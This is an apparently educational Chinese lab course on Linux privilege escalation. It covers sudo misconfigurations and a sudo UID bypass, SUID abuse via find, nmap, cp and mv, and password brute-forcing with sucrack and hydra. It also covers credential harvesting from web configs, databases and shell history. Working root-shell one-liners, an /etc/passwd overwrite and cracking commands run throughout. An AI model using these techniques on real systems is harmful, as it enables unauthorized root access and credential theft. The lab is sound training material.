• 目录

    3.5 Linux 提权之 sudo 提权

    实验介绍

    知识点

    什么是 sudo 权限

    Sudo 配置文件语法

    具有 root 权限的命令

    第一种:sudo 允许执行某个命令,但未对命令参数做限制

    第二种:sudo 允许执行某条带参数的具体命令

    sudo 自身的漏洞

    实验总结

    3.6 Linux 提权之 SUID 提权

    实验介绍​编辑

    知识点

    实验开始

    什么是 SUID

    nmap 提权

    find 提权

    cp 和 mv 命令

    如何查找 SUID 可执行文件

    实验总结

    给同学们布置一个小任务

    3.7 Linux 提权之暴力破解提权

    实验介绍​

    知识点

    实验开始

    通过 su 命令暴破 root 密码

    sucrack 介绍和安装

    sucrack 使用方法

    通过 SSH 爆破 root 密码

    SSH 服务介绍

    hydra 介绍和使用方法

    实验总结

    3.8 Linux 提权之查找敏感文件提权

    实验介绍​

    知识点

    实验开始

    Web 服务配置文件

    用户相关配置文件

    实验总结


    3.5 Linux 提权之 sudo 提权

  • 实验介绍

  •  本实验主要介绍 sudo 配置文件语法,并通过三个实验帮助你快速掌握三种常见的通过 sudo 提权的方法。
  • 知识点

  • 什么是 sudo 权限

  • /etc/sudoers 配置文件语法

  • sudo 错误配置导致的提权

  • sudo 本身的漏洞导致的提权

  • 什么是 sudo 权限

  • Linux 中,sudo 命令的作用是让当前用户以 root 或其他用户身份(取决于 /etc/sudoers 文件配置)运行命令,sudo 这个词是「Super User Do root privilege task」的缩写。
  • /etc/sudoers就是 sudo 权限的配置文件,该文件用于配置具有 sudo 权限的用户和组,当你使用 sudo 运行任何命令时,Linux 系统会检查 sudoers 文件中配置的用户名或组,若当前用户和当前用户所在的用户组均不在 sudoers 文件中,则不能使用 sudo 命令。
  • Sudo 配置文件语法

  • sudo 的配置文件是 /etc/sudoers,使用如下命令查看实验主机上 sudoers 的配置:
  • sudo cat /etc/sudoers
  •  重点关注 # User Privilege specification 这行下面的内容,此处是针对特定的用户配置 sudo 权限,如上图所示可以看到一条配置:
  • root    ALL=(ALL:ALL) ALL
    
  • 这行配置的含义如下图所示(Tag 是可选的):  
  • 这行配置意为:root 用户在所有的主机上,能够以任何用户任何用户组的权限,执行任何命令。
  • 很多同学会有疑惑,上面提到的”任何用户/任何用户组“是什么意思呢?
  • 其实是因为我们在执行 sudo 命令时,可以使用-u来指定命令以某个特定用户的权限运行,只要 sudoers 文件中配置允许就可以,例如我们想以用户 www-data 的权限来执行 whoami 命令:
  • sudo -u www-data whoami
  • 同理也可以使用-g 来指定命令以某个特定用户组的权限运行。
  • Tag是可选的,当被设置为 NOPASSWD 时,意味着执行 sudo 无需密码
  • 下面通过一个实例来说明如何配置 sudoers:
  • 假设我们要允许用户 lanqiao 可以在所有主机上,以 root 用户的权限执行 more 和 cp 命令且无需输入密码,那么可以这样配置:
  • # 多个命令用,分割
    lanqiao ALL=(root:root) NOPASSWD:/bin/cp,/bin/more
    # 用户和用户组相同时,可以简写为一个
    lanqiao ALL=(root) NOPASSWD:/bin/cp,/bin/more
  • 理论知识先讲到这里,相信大家对 sudoers 的配置语法已经有了基本的理解,下面我们通过实验来学习几种常见的通过 sudo 提权的方法。
  • 具有 root 权限的命令

  • 这种情况是指:可以通过 sudo 以 root 权限执行某些命令,并通过这些命令获得一个 root 权限的 shell,又细分了两种情况:
  • 允许执行某个或某些命令,且未对命令参数做限制

  • 只允许执行某条带参数的具体命令

  • 第一种:sudo 允许执行某个命令,但未对命令参数做限制

  • 执行如下命令,完成初始化实验环境:
  • curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_1.sh > ~/init_sudo_1.sh;chmod +x ~/init_sudo_1.sh;sudo ./init_sudo_1.sh
  • 如上图所示,此时我们已经切换为了普通用户 tomcat-syl (用于模拟攻击者获取的初始 shell ),接下来需要通过 sudo 的配置疏漏提升到 root 权限。
  • 使用sudo -l命令查看当前用户的 sudo 权限:
  • 如上图所示,可以看到如下一行配置:
  • (root) NOPASSWD:/usr/bin/find
  •  等同于:
  • tomcat-syl ALL=(root) NOPASSWD:/usr/bin/find
  • 意为 tomcat-syl 被允许以 root 权限执行 find 命令,并且无需密码。这种场景的提权方法和实验四中我们讲过的 SUID 提权非常相似,可以通过下面这条命令提权:
  • sudo find /home -exec /bin/bash \;
  • 可以看到成功提权到 root 权限,原理如果不清楚的同学可以再回去看一下实验四,这里不再赘述。
  • 如果是其他命令,和之前实验四中我们讲过的一样,可以通过该网址查询提权方法
  • 通过搜索找到对应的命令,查看详情便可知道具体提权方法。
  • 第二种:sudo 允许执行某条带参数的具体命令

  • 重新打开一个终端,执行如下命令,完成初始化实验环境:
  • curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_2.sh > ~/init_sudo_2.sh;chmod +x ~/init_sudo_2.sh;sudo ~/init_sudo_2.sh
  • 同样使用sudo -l命令查看当前用户的 sudo 权限:  
  •  可以看到如下一行配置:
  • (root) NOPASSWD: /bin/less /var/log/messages
  • 等同于:
  • tomcat-syl ALL=(root) NOPASSWD: /bin/less /var/log/messages
  • 注意: /bin/less/var/log/messages之前没有, 说明这是一条完整的命令。
  • 意为:tomcat-syl 被允许以 root 权限执行命令 less /var/log/messages,这种情况下由于命令参数被写死,所以发挥空间就没有第一种那么大了,一般只有特定的一些情况可以提权,less 命令是其中之一。
  • 键入如下命令查看日志,
  •  sudo less /var/log/messages
  • 随后输入可以获得一个 root 权限的 shell:
  •  !/bin/bash
  • sudo 自身的漏洞

  • 执行如下命令,完成初始化实验环境:
  • curl https://labfile.oss.aliyuncs.com/courses/2650/init_sudo_3.sh > ~/init_sudo_3.sh;chmod +x ~/init_sudo_3.sh;sudo ~/init_sudo_3.sh
  •  首先使用 sudo -l 查看当前用户的 sudo 权限:
  • 注意ALL!root之间是用逗号隔开,意为:tomcat-syl 用户可以任意非 root 身份运行所有的命令且无需密码。
  • 例如我们指定以 shiyanlou 用户的身份运行 whomai 命令:
  • sudo -u shiyanlou whoami
  •  
  • 如上图所示,此时的用户权限为 shiyanlou。
  • 若指定以 root 用户的身份运行 ,则系统会提示输入密码:
  • sudo -u root whoami
  • 看来我们无法通过常规的 sudo 提权方法提升至 root 权限,但是别着急,下面我们再尝试一下 sudo 本身的漏洞。
  • 首先使用 sudo —-verison 来查看实验主机上 sudo 的版本:
  • 如上图所示,sudo 版本为 1.8.16。
  • 这里要为大家介绍一个在渗透测试中用的非常多的网站——「exploit-db」,是 Kali Linux 开发团队维护用于收集公开漏洞情报的平台,在 Kali Linux 中内置的 searchsploit 命令行工具对应的数据就来自「exploit-db」
  •  左边选择 EXPLOITS,点击右上角的搜索图标,输入 sudo 1.8 进行搜索:
  • 搜索结果中展示了几个 sudo 的漏洞,点击sudo 1.8.27 - Security Bypass查看详情:  
  • 该漏洞在 1.8.28 版本修复了,我们实验环境中是 1.8.16,很幸运的也在影响范围内,该漏洞的原理如下:
  •  当用户在使用 sudo 命令时,通过指定 UID 为 #-1 或 #4294967295,就可以以 root 身份执行命令。 这是因为命令在将 UID 转换为对应用户时,会将 -1 或 4294967295 这两个异常数字视为 0,而 0 是 root 用户的 UID。
  • 下面我们尝试一个这个漏洞,在命令行执行以下命令:
  • sudo -u "#-1" whoami
    sudo -u "#4294967295" whoami
  • 如上图所示,我们成功绕过了 sudoers 配置文件的限制。
  • 类似于之前 SUID 提权中提到的,使用如下命令便可获得一个 root 权限的 shell:
  • 当然 sudo 还有其他漏洞可以被利用来提权,我们这里只是抛砖引玉,同学们在实战的时候可以根据 sudo 的版本,在 exploitdb 上查询具体的漏洞来进行利用。
  • 实验总结

  • 在本节实验中,我们首先学习了 sudo 配置文件的语法,然后通过实验掌握了通过 sudo 配置疏漏进行提权的方法,最后学习了通过 sudo 本身的漏洞进行提权的方法,至此我们已经学完了在实战中最常见的 sudo 提权方法,祝你在接下来的技巧课程中学习愉快,学有所获~

  • 3.6 Linux 提权之 SUID 提权

  • 实验介绍

  • 在本节实验主要介绍什么是 SUID 权限,并通过实验分别学习通过 nmap、find、cp、mv 四种命令提权至 root 用户的方法。
  • 知识点

  • SUID 权限的定义

  • nmap 提权

  • find 命令提权

  • cp/mv 命令提权

  • 实验开始

  • 什么是 SUID

  • 通常情况下,Linux 运行一个程序,是使用当前运行这个程序的用户权限,这种机制是非常合理的,但有一些程序比较特殊,比如我们常用的 ping 命令。
  • ping 需要发送 ICMP 报文,这个操作需要发送 Raw Socket,而使用 Raw Socket 是需要 root 权限,那怎么才能让普通用户也能使用 ping 命令呢?这时候就要使用到 suid
  • suid 全称是 Set owner User ID up on execution ,即——使文件在执行时拥有文件所有者的权限。
  • 我们使用如下命令查看 ping 命令的权限设置:
  • ls -alh /bin/ping
  •  
  • 你会发现 ping 的权限中多了一个 s这就是 suid。因此无论任何用户在执行 ping 命令时,ping 命令本身都将拥有其所有者的权限,而 ping 的所有者是 root 用户,所以 ping 就拥有了 root 权限。
  • 试想,如果拥有 suid 权限(root)的某文件提供了文件修改、执行系统命令的功能,那就能被攻击者恶意利用来提升系统权限——这就是 SUID 提权的原理。
  • 下面给大家介绍几种常用的 SUID 提权方法。
  • nmap 提权

  • 首先需要初始化实验环境,打开终端并执行如下命令:
  • curl https://labfile.oss.aliyuncs.com/courses/2650/init_suid_nmap.sh > ~/init_suid_nmap.sh;chmod +x ~/init_suid_nmap.sh;sudo ./init_suid_nmap.sh
  •  
  • 当使用 nmap 进行「UDP 扫描」或「SYN 扫描」时,需要调用 Raw Socket,因此需要 root 权限。
  • nmap 默认不具有 suid 权限,每次使用的都需要加上 sudo
  • 有些管理员为了使用方便,便给 nmap 加上了 s 权限。
  • 但别忘了,仅具有 s 权限是不能用于提权的,还需要该文件拥有执行系统命令修改文件的功能,恰巧 nmap 2.02 ~ 5.21 版本提供了执行系统命令的功能。
  • 使用命令 nmap --version 查看实验环境中 nmap 的版本:
  • 恰好是 2.01~5.21 之间的版本,此版本可使用命令 nmap --interactive 进入一个交互界面,在该模式下输入 !sh 便可获取一个 shell,如下图所示  
  • 由于此时 nmap 并不具有 s 权限,因此获取到的 shell 为 shiyanlou 用户权限。
  • 使用如下命令给 nmap 加上 s 权限:
  • sudo chmod u+s /usr/bin/nmap
  • 此时 nmap 已经拥有了 s 权限,且文件所有者为 root 用户,再尝试以上方法便可获得 root 权限的 shell。  
  • find 提权

  • 当 find 命令具有 s 权限时,可以借助 find 执行系统命令从而提权。
  • 使用如下命令查看 find 命令权限:
  •  ls -alh /usr/bin/find 
  • find 执行系统命令的语法如下:
  • find <file> -exec <command> \;
  • 其中 <file> 可以为任意文件,因此我们可以先使用 touch 命令创建一个文件 test
  • 然后通过 test 文件执行命令: 
    
  • find test -exec whoami \;
  • 这样就能以 root 权限执行命令了,但每次执行命令都要这样写未免很麻烦,并且正如之前我们在「TTY shell」中我们讲到了,这种方式并不支持需要交互的命令,例如 ssh、su 等。
  • 同学们可以稍微思考一下:如何获取一个更方便的 root 权限的 shell 呢?
  •  其实方法很简单,我们可以直接执行 /bin/bash 命令即可:
  • find test -exec /bin/bash -p \;
  • 注意:必须使用 -p 参数,否者无法获取 root 权限,至于原因可以参看这篇文章,这里不再赘述。
  • cp 和 mv 命令

  • cpmove 命令具有 s 权限时,可以通过覆盖 /etc/passwd/etc/shadow 文件,从而获取 root 权限。
  • 使用命令 ls -alh /bin/cp 查看 cp 命令权限,可以看到 cp已经有了 s 权限:
  •  先将 /etc/passwd 的内容复制一份到用户主目录下 ~/passwd:
  • cat /etc/passwd > ~/passwd
  • 此处不使用 cp 进行复制,因为 cp 会将文件权限一起复制。
  • 然后利用之前在「Linux 提权之 passwd 文件提权」这一章节中提到的方法,我们创建一行用户数据如下:
  • 用户名:hacked

  • 密码:pass123

  • hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
  • 注意:此处不使用 cp 进行复制,因为 cp 会将文件权限一起复制。
  • 然后将这行添加到 ~/passwd 文件中:
  • echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> ~/passwd
  • 最后,通过 cp 命令的 s 权限,用 ~/passwd 覆盖 /etc/passwd:  
  • cp ~/passwd /etc/passwd
  • 覆盖完成后,通过 su hacked 命令切换即可切换到 hacked 用户(密码 pass123):
  • 由于 hacked 用户的 uid=0,因此我们切换之后成功获取到 root 权限。
  • move 命令的提权方法和 cp 命令非常类似,这里就不再赘述,同学们可以自行尝试一下,如果你有问题欢迎留言。
  • 以上已经给大家介绍了多种 SUID 可执行文件的提权方法,实际上可用于 SUID 提权的还有很多,这里就不给大家一一列举了,可以该网址查询提权方法
  • 通过搜索找到对应的命令,查看详情便可知道具体提权方法。
  • 如何查找 SUID 可执行文件

  • 在实战中,我们可以使用如下命令来查找主机上所有具有 s 权限的可执行文件:
  • find / -user root -perm -4000 -print 2 >/dev/null
    #在整个文件系统中查找属主为 root(-user root)并且设置了 setuid 位(-perm -4000)的文件,并将结果打印出来。其中 -perm -4000 表示文件设置了 setuid 位,这意味着当这些文件被执行时,会以文件所有者的权限来执行。2>/dev/null 表示将错误输出重定向到 /dev/null,即忽略错误信息。
    find / -perm -u=s -type f 2>/dev/null
    #在整个文件系统中查找设置了 setuid 位的普通文件,并将结果打印出来。-perm -u=s 表示查找设置了 setuid 位的文件,-type f 表示只查找普通文件,不包括目录等其他类型的文件。
    find / -user root -perm -4000 -exec ls -ldb {} \;
    #。在这个命令中,-exec ls -ldb {} \; 表示对找到的每个文件执行 ls -ldb 命令,{} 会被替换为实际找到的文件名。
  • 但是查询结果中,通常有大量的无法利用来提权的可执行文件,需要人工进行分析。
  • 有没有办法通过自动化脚本来自动分析呢?有的,我写了一个简单的脚本来成自动化分析
  •  使用 wget 下载 suidcheck.sh:
  • wget https://raw.githubusercontent.com/Jewel591/suidcheck/master/suidcheck.sh
  •  给 suidcheck.sh 加上可执行权限并执行:
  • chmod +x suidcheck.sh
    
    ./suidcheck.sh
  • 红框中的结果,就是可用来提权的可执行文件:
  • 此脚本非常简单,各位同学如果有时间和兴趣也可以自己编写脚本,别忘了在评论区留言分享你的成果哦!  
  • 实验总结

  • 在本节实验中,我们学习了什么是 SUID 权限,并掌握了通过 nmap、find、cp 三种命令提权的方法。
  • 实际上可通过 SUID 提权的命令远不止这三种,例如 cat、vim、more、sed 等命令也都可以进行 SUID 提权,但只要你掌握实验中提到的提权思路,其他命令也就能融会贯通了。
  • 给同学们布置一个小任务

  • 同学们可在实验环境中尝试通过 diff 命令进行 SUID 提权。

3.7 Linux 提权之暴力破解提权

  • 实验介绍

  • 本章实验主要介绍通过暴力破解来获取 root 用户密码的两种方法和对应的破解工具,并通过实验帮助你理解其中的原理,避免一些容易采坑的地方。
  • 知识点

  • sucrack 工具的安装和使用

  • 通过 hydra 工具爆破 SSH 协议

  • 实验开始

  • 在前面的实验中,我们已经为大家介绍了多种 Linux 提权方法,这些方法已经覆盖到了实战中的绝大部分场景,但如果你遇到前面所有的方法都无法成功提权时,别忘了还有一种最原始但有用的方法可以尝试——暴力破解
  • 通常来说,可以通过两种途径暴力破解 root 用户的密码:
  • 通过 su 命令爆破 root 密码

  • 通过 SSH 协议爆破 root 密码

  • 下面我依次为大家介绍这两种方法。
  • 通过 su 命令暴破 root 密码

  • Linux su 命令用于切换为其他使用者身份,除 root 外,其他用户使用时需要输入将要切换的「目标用户」的密码。
  • su 命令暴力破解使用的工具是 sucrack
  • sucrack 介绍和安装

  • sucrack 是一个多线程的Linux工具,用于通过 su 爆破本地用户密码。
  • 因为 su 命令需要从 TTY shell 获取用户输入,因此不能只用一个简单的 shell 脚本来完成爆破,sucrack 是采用 c 语言编写的工具,并且支持多线程,爆破效率非常高。
  • sucrakck 官方地址如下:
  •  

  • 在实战环境中,靶机可能是无法连接外网的,因此我们可以使用如下两种方法安装 sucrack:
  • 下载sucrack源码并上传到靶机上,再编译运行。

  • 下载sucrack源码,在本地编译好之后再上传到靶机运行。

  • 本课程旨在为大家演示 sucrack 的用法,因此为了方便我们直接使用 apt 安装 sucrack :https://leidecker.info/projects/sucrack.shtmlicon-default.png?t=N7T8https://leidecker.info/projects/sucrack.shtml
  • sudo apt install sucrack
  • 如上图所示,安装成功。
  • sucrack 使用方法

  • sucrack 的用法非常简单,最基础的命令如下:
  • sucrack -w 20 wordlists.txt
  • 参数解释:
  • -w 指定线程数

  • wordlists.txt 爆破使用的字典

  • sucrack 默认爆破 root 用户,你也可以使用 -u 指定要爆破的用户:
  •  在尝试爆破之前,我们先执行如下命令来部署实验环境:
  • curl https://labfile.oss.aliyuncs.com/courses/2650/init_forcebrute.sh > ~/init_forcebrute.sh;chmod +x ~/init_forcebrute.sh;sudo ./init_forcebrute.sh
  • 如上图所示,此时我们已经切换为了普通用户 www-data ,接下来我们将在实验中,通过暴力破解的方法获取 root 用户的密码。
  • 我预先准备了一份密码字典用于演示,存放在 /tmp/common-wordlists.txt,同学们也可以使用自己的字典。
  •  使用如下命令尝试爆破 root 密码,线程数保守一点设定为 20:
  • sucrack -w 20 /tmp/common-wordlists.txt
  • 开始爆破之后,按键盘任意键刷新显示进度:
  • 等待一会,成功破解出 root 用户的密码为 XXXXly:  
  • 然后使用 su root 切换为 root 用户:
  • sucrack 功能是非常简单强大的,你学会了吗?  
  • 通过 SSH 爆破 root 密码

  • SSH 服务介绍

  • SSH 服务的配置文件有为两个,分别是:
  • /etc/ssh/ssh_config : 客户端的配置文件

  • /etc/ssh/sshd_config : 服务端的配置文件

  • 仅当 /etc/ssh/sshd_configPermitRootLogin 设置为 yes,root 用户才能登录 ssh:
  •  因此,在通过 ssh 爆破 root 用户密码之前,我们需要先使用如下命令来查询靶机是否允许 root 用户通过 ssh 登录:
  • cat /etc/ssh/sshd_config |grep -i permitrootlogin
  • 当 PermitRootLogin 被设置为 `yes` 时,才用尝试 SSH 暴力破解,否则就没必要在尝试了 
  • hydra 介绍和使用方法

  • SSH 协议爆破使用到的工具是 hydra,hydra 是一款非常著名的爆破工具,除了 SSH 协议以外,hydra 还支持众多其他协议例如 RDP、SMB、HTTP、MySQL 等,由于篇幅有限,具体可以参考下面这篇文章:

https://github.com/iSecurity-Club/Pentest-Methodologies/blob/master/Password%20Attacks/README.mdicon-default.png?t=N7T8https://github.com/iSecurity-Club/Pentest-Methodologies/blob/master/Password%20Attacks/README.md

  •  hydra 在 Kali Linux 上默认安装,实验主机的 ubuntu 环境也已经提前安装好,爆破 SSH 协议的语法如下:
  • hydra -l root -P passwords.txt -t 4 -V <IP> ssh
  • 参数解释:
  • -l : 指定用户名

  • -P : 指定爆破字典

  • -t : 指定爆破线程

  • -V : 查看破解详情、进度

  • 下面我们尝试爆破 root 用户的密码,字典仍然使用 /tmp/common-wordlists.txt
  • hydra -l root -P /tmp/common-wordlists.txt -t 64 -V 127.0.0.1 ssh
  • 如上图所示,成功爆破出 root 用户的密码。
  • 注意:如果你使用的 hydra 是 v9.0 之前的版本,在爆破 ssh 协议时很可能会出现误报,请先升级后再使用(实验环境是 v9.2)。
  • 实验总结

  • 在本节实验中,我们学习了通过两种途径爆破 SSH 服务的方法—— suSSH,并且分别介绍了对应的两种破解工具的使用。
  • 祝你在接下来的技巧课程中学习愉快,学有所获~

  • 3.8 Linux 提权之查找敏感文件提权

  • 实验介绍

  • 本实验主要介绍 Web 服务配置文件和用户相关配置文件的作用,并通过两个实验分别从以上两种场景入手,提权到 root 权限。
  • 知识点

  • 重点关注的 Web 配置文件

  • 通过 Web 配置文件提权方法

  • 重点关注的用户相关的配置文件

  • 通过用户相关配置文件提权方法

  • 实验开始

  • 假设我们已经通过 Web 漏洞反弹回一个 shell,是 www-data 用户的权限。
  • 通过尝试之前几个实验中的方法都未成功,那么我们可以尝试在 Linux 上是否能寻找到一些认证信息,并利用该认证信息进行提权。
  • 在本章中,我们会通过两个实验,分别从 Web 服务配置文件用户配置文件入手,收集信息并完成提权。
  • Web 服务配置文件

  • 有时候通过查找服务器上的 Web 配置文件,可以发现数据库的连接账户和密码。登录数据库后,通过收集数据库中存储的用户密码,并且管理员如果存在密码复用的情况,即可完成提权,下面我们通过一个具体的实验来理解一下。
  • 首先执行如下命令以初始化实验环境:
  • curl https://labfile.oss.aliyuncs.com/courses/2650/init_90_web.sh > ~/init_90_web.sh;chmod +x ~/init_90_web.sh;sudo ./init_90_web.sh
  • 如上图所示,实验环境初始化完成,此时我们切换到了 www-data 用户——用于模拟通过 Web 漏洞反弹回的初始 shell。
  • 通常情况下,Linux Web 服务存放的路劲为 /var/www 目录,在该路径下我们重点关注以下文件:
  • database.php

  • user.php

  • *.config

  • config.php

  • 我们可以通过以下命令来搜索:
  • find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2>/dev/null
    #find /var/www: 表示从 /var/www 目录开始查找。
    #-type f: 表示只查找普通文件。
    #\( ... \): 这是一个逻辑组合,用于将多个条件组合在一起。在这个括号内,使用 -iname 选项来忽略文件名的大小写进行匹配。
    #-o: 表示逻辑或(OR),用于组合多个条件。
    #-iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config": 这是四个条件的逻辑组合,分别用于匹配文件名为 "user.php"、"database.php"、"config.php"、以及以 ".config" 结尾的文件。
    #2>/dev/null: 表示将错误输出重定向到 /dev/null,即忽略错误信息。
    
    
  •  当然不仅限于以上文件,并且如果目标主机采用了 CMS,我们可以通过谷歌查询该 CMS 的默认数据库连接文件的存放位置
  • 在实验主机上,查看 /var/www 目录的文件:  
  •  ls -lh /var/www
  • 我们发现主机使用了 WordPress 内容管理系统,通过谷歌查询得知,WordPress 的数据库配置信息存放在$root/wp-config.php,查看一下:  
  • more /var/www/wordpress/wp-config.php
  • 如上图所示,成功找到了 MySQL 的 root 账户和密码:
  •   root:cD8M2M8fMiDHu4m1
  • 考虑到管理员可能存在密码复用的情况,尝试使用密码 cD8M2M8fMiDHu4m1 登录系统 root 账户:
  • 但是很可惜,并没有登录成功。
  • 接下来我们登录 mysql 数据库,看看能否在数据库中发现一些信息:
  • mysql -u root -p -h 127.0.0.1
    #-p: 这个选项表示需要输入密码才能登录到 MySQL 服务器。当你使用 -p 选项时,MySQL 会提示你输入密码,以确保安全性。在命令中没有指定密码,因此在执行命令后,系统将要求你输入密码。
  • 然后分别执行以下命令,来在 MySQL 数据库中收集信息:
  • show databases;
    use ROB
    show tables;
    select * from rob_user;
  •  如上图所示,收集到两个用户、密码信息:
  • root:CMPc5MoAGf
    alice:psoj9apv4u
  • 成功登录 root 用户。
  • 至此,我们学习了通过寻找 Web 服务的配置文件来提权的一种方法,实际上并不一定是找 Web 服务的配置文件,其核心是通过寻找服务器上的敏感认证信息并结合密码复用进行提权的一种思想。
  • 还有一种关于 mysql 的提权方法——MySQL UDF 提权,该方法在 Windows 和 Linux 上都可用。
  • UDF 是 MySQL 的一个共享库,通过 UDF 创建能够执行系统命令的函数 sys_exec、sys_eval ,可以 UDF 执行系统命令来提权,但要利用 MySQL UDF 有两个条件:
  1. 获取到 mysql root 账户密码

  2. MySQL 在系统上以 root 权限运行,没有被降权(实际上这种情况比较少)

  • 由于蓝桥实验环境的限制,无法设计相关实验,有兴趣的同学可以百度、谷歌研究一下。

  • 用户相关配置文件

  • 我们主要关注下面两个用户相关的配置文件;
  • ~/.bash_profile
    
  • 用于配置环境变量和启动程序,当用户登录(login)时,该文件会被执行,在某些 Linux 发行版本中,该文件是默认不创建的。 
~/.bash_history

每个用户的主目录下都定义了一个`.bash_history`文件,用于记录用户 shell 历史命令,默认记录最近输入的 1000 条命令,我们也许可以从中收集到一些敏感信息(部分 Linux 发行版本默认关闭了该共功能),在某些 Linux 发行版本中,默认关闭了该功能,可以尝试用 `history`命令查看。

 首先执行如下命令以初始化实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_90_learning_2.sh > ~/init_90_learning_2.sh;chmod +x ~/init_90_learning_2.sh;sudo ./init_90_learning_2.sh

如上图所示,实验环境初始化完成后,我们切换到了 tomcat-syl 用户。

首先查看 ~/.bash_profile 文件,看是否能收集到一下敏感信息:

cat ~/.bash_profile

 

但是很可惜,看来用户 tomcat-syl 并没有使用~/.bash_profile文件。

再查看一下 ~/.bash_history文件:

cat ~/.bash_history

 

发现这一行历史命令记录:  

echo tomcat-syl:09FMWNFS7n|chpasswd

这条命令的含义是:修改 tomcat-syl 用户的密码为 09FMWNFS7n,我们尝试一下能否用该密码执行 sudo :

sudo whoami

如上图所示,密码正确,并且能够执行 sudo 权限。接下来使用之前学过的知识获取一个 root 权限的 shell:  

sudo /bin/bash -p

实验总结

在本节实验中,我们学习了重点查找服务器上哪些 Web 相关的配置文件和用户相关的配置文件,随后在实验中学习了通过以上两者进行提权的方法。

本章的核心挂念是,在 Linux 主机上查找一些可能存放了敏感信息的文件,并不仅限于 Web 配置文件和用户配置文件, 还有一些重要文件也需要我们关注,例如:

  • 备份文件,例如 SSH 秘钥、登录凭证等,可通过如下命令查找:

    find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
    
    #\( ... \): 这是用于组合多个条件的括号。在这里,括号中包含了多个 -name 选项,用于指定文件名的模式。
    
    #-name "*backup*": 这个选项用于匹配文件名中包含 "backup" 的文件。
    
    #-o: 这个选项表示逻辑或(OR)。它用于组合多个条件,表示只要满足其中一个条件即可。
    
    #-name "*\.bak" -o -name "*\.bck" -o -name "*\.bk": 这些选项用于匹配以 ".bak"、".bck" 或 ".bk" 结尾的文件名。
    
    
  • Sqlite DB 文件

本章节篇幅有限,不可能列举所有的敏感文件,但只要我们掌握通过敏感文件收集信息的核心思想,便能一法通时万法通了。

祝你在接下来的课程中学习愉快,学有所获~

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐